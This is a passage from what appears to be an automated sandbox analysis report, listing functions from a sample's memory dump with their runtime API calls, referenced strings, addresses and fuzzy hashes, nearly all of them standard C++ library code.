API ID: std::_$Lockit$H_prolog3Locinfo::_Lockit::_Lockit::~_$FreeLocalLocinfo_ctorLocinfo_dtorSetgloballocale__cftoestd::locale::_
String ID: bad locale name
API String ID: 2085124900-1405518554
Opcode ID: 9d609ecb528f6c48f317b706f35e5fba6a6e097ff2f37d2ad768d7bc92de93ed
Instruction ID: aa7767b1620f72248ce2229249fd8d4f3a1b000f1c7e6709b623b1f7a39a3973
Opcode Fuzzy Hash: 9d609ecb528f6c48f317b706f35e5fba6a6e097ff2f37d2ad768d7bc92de93ed
Instruction Fuzzy Hash: 1F12AF71E10299DFDF11CFA9C885BAEBBF5EF04304F144269E815AB381E735AA05CB91

Function 0040B22C Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0040B34B
___TypeMatch.LIBVCRUNTIME ref: 0040B459
_UnwindNestedFrames.LIBCMT ref: 0040B5AB
CallUnexpected.LIBVCRUNTIME ref: 0040B5C6

Strings

csm, xrefs: 0040B2D6
csm, xrefs: 0040B269
csm, xrefs: 0040B382

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: 938b4d58193062096a934a215ab53d0f9201d7f94cb3e63aacea08c0da42a74f
Instruction ID: 2f07407eb5a4318e3daeaa54d7e30c4530a8e6d29c552e61df1dd77841428959
Opcode Fuzzy Hash: 938b4d58193062096a934a215ab53d0f9201d7f94cb3e63aacea08c0da42a74f
Instruction Fuzzy Hash: A8B13571800209EFCF15DFA5C8819AEB7B5EF14318B1481ABE8017B292D739DA51CBDA

Function 003F0260 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 269memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 003F0322
LocalAlloc.KERNEL32(00000040,?), ref: 003F0367
___std_exception_copy.LIBVCRUNTIME ref: 003F03DE
LocalFree.KERNEL32(?), ref: 003F041B
LocalFree.KERNEL32(?,?,?,?,?,755CD0F6,755CD0F6,?,?), ref: 003F0546

Strings

ios_base::failbit set, xrefs: 003F04B2
iostream, xrefs: 003F05A0

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: Local$AllocFree$___std_exception_copy
String ID: ios_base::failbit set$iostream
API String ID: 2276494016-302468714
Opcode ID: 7ecda72d8b6760f36c1087cfef66932a9a5dfee21579cd1e52a47f59ff87e790
Instruction ID: bdd490a89316dea442480bebfe934a3a6ae98a6e978e12a4473e1c60263e8bb3
Opcode Fuzzy Hash: 7ecda72d8b6760f36c1087cfef66932a9a5dfee21579cd1e52a47f59ff87e790
Instruction Fuzzy Hash: B0A1A1B1D00208DFDB09CF69D984BAEFBB5FB48310F10826EE515AB392DB749940CB95

Function 003EBA30 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 195memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000044,755CD0F6,?,00000000), ref: 003EBA8B
std::_Lockit::_Lockit.LIBCPMT ref: 003EBAC8
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 003EBB35
__Getctype.LIBCPMT ref: 003EBB7E
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 003EBBF2
std::_Lockit::~_Lockit.LIBCPMT ref: 003EBCAF

Strings

bad locale name, xrefs: 003EBCCD

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: std::_$Locinfo::_Lockit$AllocGetctypeLocalLocinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 3635123611-1405518554
Opcode ID: 45298b7ebd595602ade737cc2893e03b0449b869ca8ecaa37840e361c90589c4
Instruction ID: 1ead2bf5be80c6b28508cebf6253448d01ed5895297d59eaa86217dee16c51f4
Opcode Fuzzy Hash: 45298b7ebd595602ade737cc2893e03b0449b869ca8ecaa37840e361c90589c4
Instruction Fuzzy Hash: 1781B6B0D04398DFEB22CFA9C94579EFBF4AF14304F2482ADD444AB291EB759A44CB51

Function 003EC220 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000018,755CD0F6,?,00000000,?,?,?,?,?,?,?,00000000,0042ABC5,000000FF), ref: 003EC264
std::_Lockit::_Lockit.LIBCPMT ref: 003EC29E
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 003EC302
__Getctype.LIBCPMT ref: 003EC34B
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 003EC391
std::_Lockit::~_Lockit.LIBCPMT ref: 003EC445

Strings

bad locale name, xrefs: 003EC460

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: std::_$Locinfo::_Lockit$AllocGetctypeLocalLocinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 3635123611-1405518554
Opcode ID: 7968538db73ff8bec0cb6ba9ebc07791bb7441bb1eaf16e1fa83881130296cc2
Instruction ID: 68c1a01ba0f84cac205fa46c8260056dbddd5d5ed868e0b3c527d0784b807948
Opcode Fuzzy Hash: 7968538db73ff8bec0cb6ba9ebc07791bb7441bb1eaf16e1fa83881130296cc2
Instruction Fuzzy Hash: 69616EB0D01298EEEB12CFE9C5447DEBBF4AF15304F1482A9E454AB3C1D7B99A09CB51

Function 0040743E Relevance: 12.2, APIs: 8, Instructions: 224COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,?,?), ref: 004074C9
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 00407557
__alloca_probe_16.LIBCMT ref: 00407581
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 004075C9
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 004075E3
__alloca_probe_16.LIBCMT ref: 00407609
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00407646
CompareStringEx.KERNEL32(?,?,?,?,00000000,?,00000000,00000000,00000000), ref: 00407663

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: ByteCharMultiWide$__alloca_probe_16$CompareInfoString
String ID:
API String ID: 3603178046-0
Opcode ID: 9923feb5307d1df28ac4b6ea2d4b99e2feee8f5673c0a707003f2b710833db43
Instruction ID: 535b7c01805a903efcabd96bb8335c983547ec389335a0ea4893a104a83cd878
Opcode Fuzzy Hash: 9923feb5307d1df28ac4b6ea2d4b99e2feee8f5673c0a707003f2b710833db43
Instruction Fuzzy Hash: 0971C771D08616ABDF218F58CC45AEF7BB5AF49364F14043BE405B62D1DB3AE801CB6A

Function 00406F23 Relevance: 12.2, APIs: 8, Instructions: 175COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,CCCCCCCC,003EC6DF,?,00000001,00000000,?,00000000,?,003EC6DF,?), ref: 00406F6C
__alloca_probe_16.LIBCMT ref: 00406F98
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,00000000,?,003EC6DF,?,?,00000000,003ECCD3,0000003F,?), ref: 00406FD7
LCMapStringEx.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,003EC6DF,?,?,00000000,003ECCD3,0000003F), ref: 00406FF4
LCMapStringEx.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000,00000000,?,003EC6DF,?,?,00000000,003ECCD3,0000003F), ref: 00407033
__alloca_probe_16.LIBCMT ref: 00407050
LCMapStringEx.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,003EC6DF,?,?,00000000,003ECCD3,0000003F), ref: 00407092
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,?,00000000,00000000,?,003EC6DF,?,?,00000000,003ECCD3,0000003F,?), ref: 004070B5

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: c8fbcf4db159e48b433209c622e118790e8c7c35654905d4dbb85babb603de17
Instruction ID: cee535d5545fb007cc633f89e8e916bbb341e9a2db57e39dd6c618e1c6a6e5b7
Opcode Fuzzy Hash: c8fbcf4db159e48b433209c622e118790e8c7c35654905d4dbb85babb603de17
Instruction Fuzzy Hash: 9F51D372A0020AABDF209F50DC45FAB7BA9EF04754F11413AF905B62D0DB39AD11CB5A

Function 003E5940 Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 389fileCOMMON

Download Yara Rule

APIs

GetTempFileNameW.KERNEL32(?,URL,00000000,?,755CD0F6,?,00000004), ref: 003E59AA
LocalFree.KERNEL32(?), ref: 003E5ABB
MoveFileW.KERNEL32(?,00000000), ref: 003E5D5B
DeleteFileW.KERNEL32(?), ref: 003E5DA3

Strings

url, xrefs: 003E5ADC, 003E5D86
URL, xrefs: 003E59A4, 003E5D8B

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: File$DeleteFreeLocalMoveNameTemp
String ID: URL$url
API String ID: 1622375482-346267919
Opcode ID: 2aa68a737cd3df0b638f6e3255a1d4a4b9816e4de8403a83febc5d8ee45b0b71
Instruction ID: 57ad3e989a1852d8cb52e734bb7d2b1059ed2e00416fbead6c8873573047aab7
Opcode Fuzzy Hash: 2aa68a737cd3df0b638f6e3255a1d4a4b9816e4de8403a83febc5d8ee45b0b71
Instruction Fuzzy Hash: 1C027870E146A9DACB25DF29CD98B9DB7B5BF54304F2042D9D009A7291EB74ABC4CF80

Function 003EF5E0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 189memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000000C,755CD0F6,?,00000000,00000000,?,?,?,?,00000000,0042B2D1,000000FF,?,003EEBCA,00000000), ref: 003EF624
std::_Lockit::_Lockit.LIBCPMT ref: 003EF65A
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 003EF6BE
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 003EF77E
std::_Lockit::~_Lockit.LIBCPMT ref: 003EF832

Strings

bad locale name, xrefs: 003EF84E

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: std::_$Locinfo::_Lockit$AllocLocalLocinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 2968629171-1405518554
Opcode ID: c2f15131e0734358469337ab1c1544624d42c0e0cf9376927d22257d03faee8c
Instruction ID: 96cac2ec43c54a82ccd061855199484dd30e0f496e01de061d02bcba33d08579
Opcode Fuzzy Hash: c2f15131e0734358469337ab1c1544624d42c0e0cf9376927d22257d03faee8c
Instruction Fuzzy Hash: 927170B0D01298DEEF11CFA9C98479EBBB4AF15354F1442A9E414BB281D7B99A04C7A1

Function 003EF3B0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000008,755CD0F6,?,00000000,00000000,?,?,?,00000000,0042B1DD,000000FF,?,003EED0A,00000000,?), ref: 003EF3F4
std::_Lockit::_Lockit.LIBCPMT ref: 003EF42A
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 003EF48E
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 003EF4FE
std::_Lockit::~_Lockit.LIBCPMT ref: 003EF5B2

Strings

bad locale name, xrefs: 003EF5CE

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: std::_$Locinfo::_Lockit$AllocLocalLocinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 2968629171-1405518554
Opcode ID: b041fdacbffd99fe994aad338b4863115b61fd66bdc6d1bc72a42866b98a68ca
Instruction ID: df03f38a6e963c9ac58ba19fa027bbd8e895b7bab526df5c9e985c8026fa4936
Opcode Fuzzy Hash: b041fdacbffd99fe994aad338b4863115b61fd66bdc6d1bc72a42866b98a68ca
Instruction Fuzzy Hash: 2A618FB0D01398EEEB11CFE9D94479EBBB4AF25304F1442ADE454AB2C1D7B99A04CB61

Function 00408D30 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00408D67
___except_validate_context_record.LIBVCRUNTIME ref: 00408D6F
_ValidateLocalCookies.LIBCMT ref: 00408DF8
__IsNonwritableInCurrentImage.LIBCMT ref: 00408E23
_ValidateLocalCookies.LIBCMT ref: 00408E78

Strings

csm, xrefs: 00408E0D

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 0f220d9709b388b34d06e97222732ee10bf9d9086453f8f5a89107f2e669985b
Instruction ID: 33073348539d85ee9ee7ad7dfb5bb215549edd7996daaea7737c53f4e773c470
Opcode Fuzzy Hash: 0f220d9709b388b34d06e97222732ee10bf9d9086453f8f5a89107f2e669985b
Instruction Fuzzy Hash: 8C41A434A002199BCF10DF69C844A9FBBB6EF44314F14856AE954AB3D3DB399A01CBD9

Function 0041C96B Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,0041CA78,?,?,?,00000000,?,?,0041CCA2,00000021,FlsSetValue,00431E00,00431E08,?), ref: 0041CA2C

Strings

api-ms-, xrefs: 0041C9C2
ext-ms-, xrefs: 0041C9D6

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: e194776b3fb196894752ef3fc5b8e990afe362e177e9942e28dc563026e629af
Instruction ID: 7f3c78a490ce6ca87a57760621c14f825eb8c9bd81b726ff71fc4ab30b3dfb53
Opcode Fuzzy Hash: e194776b3fb196894752ef3fc5b8e990afe362e177e9942e28dc563026e629af
Instruction Fuzzy Hash: C9212E71A81215A7CB22DB65AC84BEB37689F417E4F240132E805E7390E738ED41C6DC

Function 003F2823 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 003F282A
std::_Lockit::_Lockit.LIBCPMT ref: 003F2834

Part of subcall function 003EBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 003EBD10
Part of subcall function 003EBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 003EBD38

numpunct.LIBCPMT ref: 003F286E
std::_Facet_Register.LIBCPMT ref: 003F2885
std::_Lockit::~_Lockit.LIBCPMT ref: 003F28A5

Strings

tHD, xrefs: 003F283F

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registernumpunct
String ID: tHD
API String ID: 743221004-3853015322
Opcode ID: 5bc2fe6dccbd38b68053b1ebe9fb28c8122c232bc03d74de087a1ae7714e2a9a
Instruction ID: 118883105096b28c7ff924d567907444d4cc14f92f81dd6d6f7c3a0e181063b2
Opcode Fuzzy Hash: 5bc2fe6dccbd38b68053b1ebe9fb28c8122c232bc03d74de087a1ae7714e2a9a
Instruction Fuzzy Hash: FE110E3590061DDBCF06EB60C8526BE77A1AF90710F29011DE610AB3C2DF349E018B80

Function 003F8030 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 003F8037
std::_Lockit::_Lockit.LIBCPMT ref: 003F8041

Part of subcall function 003EBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 003EBD10
Part of subcall function 003EBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 003EBD38

numpunct.LIBCPMT ref: 003F807B
std::_Facet_Register.LIBCPMT ref: 003F8092
std::_Lockit::~_Lockit.LIBCPMT ref: 003F80B2

Strings

ID, xrefs: 003F804C

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registernumpunct
String ID: ID
API String ID: 743221004-3023824217
Opcode ID: 53147377278bd008540b01e6bb18ceb120b5caa00c1ce2b73a4ba1f4169068f9
Instruction ID: 45410e0f21bf8fc1798f568efcdba5d963cc8e3dbd50a1359f42fa5c84750788
Opcode Fuzzy Hash: 53147377278bd008540b01e6bb18ceb120b5caa00c1ce2b73a4ba1f4169068f9
Instruction Fuzzy Hash: 9B01D27690062EDBCF06EBA4C8457BEB761AF84310F65411AE610AF3D2DF349E05CB84

Function 003F2664 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 003F266B
std::_Lockit::_Lockit.LIBCPMT ref: 003F2675

Part of subcall function 003EBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 003EBD10
Part of subcall function 003EBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 003EBD38

codecvt.LIBCPMT ref: 003F26AF
std::_Facet_Register.LIBCPMT ref: 003F26C6
std::_Lockit::~_Lockit.LIBCPMT ref: 003F26E6

Strings

xHD, xrefs: 003F2680

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercodecvt
String ID: xHD
API String ID: 712880209-3971129470
Opcode ID: 95b1b8bace149b8ce051ba1fa2798d4f9e9ec47ba46ff9735c4a3e9b0c7ae2b0
Instruction ID: 380247fa739b3800dbaa8d6975bd343e613d74885200e1987865c8dfece4a3f9
Opcode Fuzzy Hash: 95b1b8bace149b8ce051ba1fa2798d4f9e9ec47ba46ff9735c4a3e9b0c7ae2b0
Instruction Fuzzy Hash: 4901D235900A6DDBCF06EB64CC456BEB7A5AF85320F25011AE610AF2D2DF789E018B84

Function 003F76E0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 003F76E7
std::_Lockit::_Lockit.LIBCPMT ref: 003F76F1

Part of subcall function 003EBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 003EBD10
Part of subcall function 003EBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 003EBD38

collate.LIBCPMT ref: 003F772B
std::_Facet_Register.LIBCPMT ref: 003F7742
std::_Lockit::~_Lockit.LIBCPMT ref: 003F7762

Strings

ID, xrefs: 003F76FC

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercollate
String ID: ID
API String ID: 1007100420-3023824217
Opcode ID: 32b4815dabdb05183d247c79f7c2ea14bb69a11f307cb25bd78060e20558064e
Instruction ID: 9725985a5328ecf46934bf106f18d6c8311734820e749bd8bc6c4a53674afa3e
Opcode Fuzzy Hash: 32b4815dabdb05183d247c79f7c2ea14bb69a11f307cb25bd78060e20558064e
Instruction Fuzzy Hash: 65012E3590462D8BCF02FBA4D8026BEB7A1AF84310F28011AE610AF3D2CF349E05CBC4

Function 004038C1 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 004038C8
std::_Lockit::_Lockit.LIBCPMT ref: 004038D2

Part of subcall function 003EBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 003EBD10
Part of subcall function 003EBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 003EBD38

collate.LIBCPMT ref: 0040390C
std::_Facet_Register.LIBCPMT ref: 00403923
std::_Lockit::~_Lockit.LIBCPMT ref: 00403943

Strings

dJD, xrefs: 004038DD

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercollate
String ID: dJD
API String ID: 1007100420-3417872616
Opcode ID: 62ce093ec956f61fc727538c566e5ec4c176cccbf4535796c9ce82984451213a
